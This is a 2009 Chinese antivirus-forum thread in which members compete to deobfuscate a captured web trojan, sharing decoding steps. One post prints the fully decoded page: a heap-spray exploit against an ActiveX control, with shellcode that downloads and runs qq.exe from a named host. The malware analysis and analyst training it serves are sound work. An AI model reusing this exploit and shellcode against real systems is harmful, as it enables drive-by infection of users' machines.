网马解密悬赏第三十五期(已结束) bbs.ikaka.com

networkedition - 2009-11-5 15:05:00

引用:

http://7577.xxkk.net/ChinaGame.htm

引用:

规则：1.一次解完并附解密日志和步骤（包含swf和pdf网马），奖赏10威望，如果部分解出，每步奖赏2威望；
2.对于积极参与此活动会员，并多次中奖者，我们可以诚邀加入卡卡反病毒小组

引用:

解密工具：
Freshow（中文版）
Redoce（中文版）
Malzilla （汉化版）

引用:

在线解析站点：
http://glacierlk.cn/openlab/jm.htm
[url=http://www.cha88.cn/

http://www.cha88.cn/[/quote[/url]]

引用:

注：论坛所有会员均可参加

引用:

恶意网址来源瑞星全功能安全软件拦截到真实有效的地址

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)

networkedition - 2009-11-5 15:05:00

[复制到剪贴板]

CODE:

天涯浪子1988 - 2009-11-5 16:33:00

ms我在剑盟传的那个马就是这个解出来的
http://bbs.janmeng.com/thread-901903-1-1.html
:kaka8: :kaka8: :kaka8: :kaka8: :kaka8: :kaka8: :kaka8:

天涯浪子1988 - 2009-11-5 16:41:00

解码关键

引用:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 1(0){4 5.6(0^3)};',7,7,'m|sb|function||return|String|fromCharCode'.split('|'),0,{}))

eval清除得到：

[复制到剪贴板]

CODE:

function sb(m){return String.fromCharCode(m^3)};

是昔流芳 - 2009-11-5 19:21:00

关于:hxxp://7577.xxkk.net/ChinaGame.htm解密的日志(全体输出 - 2):

Level 0>http://7577.xxkk.net/ChinaGame.htm
Level 1>http://www.5ibcc.com/qq.exe ●

analyzed by 是昔流芳

时间所限，只是简单看了看，不知道有没有找全:kaka12:

jun0717 - 2009-11-5 20:13:00

孔子，你太自私了~~:kaka12:
　　document.getElementById("textareaID").innerText=替换三次；
　　ESC两次
　　……
　　htp://bbs.crsky.com/read.php?tid=1755546

shadowmin - 2009-11-5 21:50:00

都解着这么累干嘛？
神器里一下就出来了。

天涯浪子1988 - 2009-11-5 22:21:00

这个跟你说的差不多神器是模拟脚本执行器而祥子的工具遇到多个eval 就得分部执行

Cool_wXd - 2009-11-6 9:07:00

先解

[复制到剪贴板]

CODE:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 1(0){4 5.6(0^3)};',7,7,'m|sb|function||return|String|fromCharCode'.split('|'),0,{}))

结果为

[复制到剪贴板]

CODE:

function sb(m){return String.fromCharCode(m^3)};

然后解密

[复制到剪贴板]

CODE:

eval(sb(101)+sb(118)+sb(109)+sb(96)+。。。。

构造脚本

[复制到剪贴板]

CODE:

运行，弹出对话框，Ctrl+C,Ctrl+V就可以了，如图

代码如下：

[复制到剪贴板]

CODE:

然后再整个加密文件重新构造一下，将document.write修改为alert，并执行，弹出对话框，Ctrl+C,Ctrl+V就可以了

[复制到剪贴板]

CODE:

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>
<BODY>
<OBJECT id="target" classid="clsid:75108B29-202F-493C-86C5-1C182A485C4C"></OBJECT>
<SCRIPT language="JavaScript">
var xsxfy,xsxfy2;
var xfy="%u";
var crya=xfy+"9090"+xfy;
var cryb="9090";
var xsxfya="%u9090%u9090%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2%uc1";
xsxfy="08%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353";
xsxfy2="%ueb52%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40%uffff%uff52%ue8d0%uffd7%uffff";
var xfyddos="%u7468%u7074%u2F3A%u772F%u7777%u352E%u6269%u6363%u632E%u6D6F%u712F%u2E71%u7865%u0065";
var xfyxcode=unescape(xsxfya+xsxfy+xsxfy2+xfyddos);
var fyitem=0x40000;
var xfyxxcodes = xfyxcode;
var bigblock = unescape(crya+cryb);
var headersize = 20;
var slackspace = headersize+xfyxxcodes["length"];
while (bigblock["leng"+"th"]<slackspace)
bigblock+=bigblock;
fillblock = bigblock["subst"+"ring"](0, slackspace);
block = bigblock["su"+"bstr"+"ing"](0, bigblock.length-slackspace);
while(block["le"+"ngth"]+slackspace<fyitem)
block = block+block+fillblock;
memory = new window["Array"]();
for (x=0; x<300; x++)
memory[x] = block + xfyxxcodes;
var buffer = '';
while (buffer["length"] < 796 )
buffer+=unescape("%"+"u0"+"c0c");
target.CreateChinagames(buffer);
</SCRIPT>
</BODY></HTML>

shellcode解密大家都会了，下载文件为hxxp://www.5ibcc.com/qq.exe

瑞星卡卡安全论坛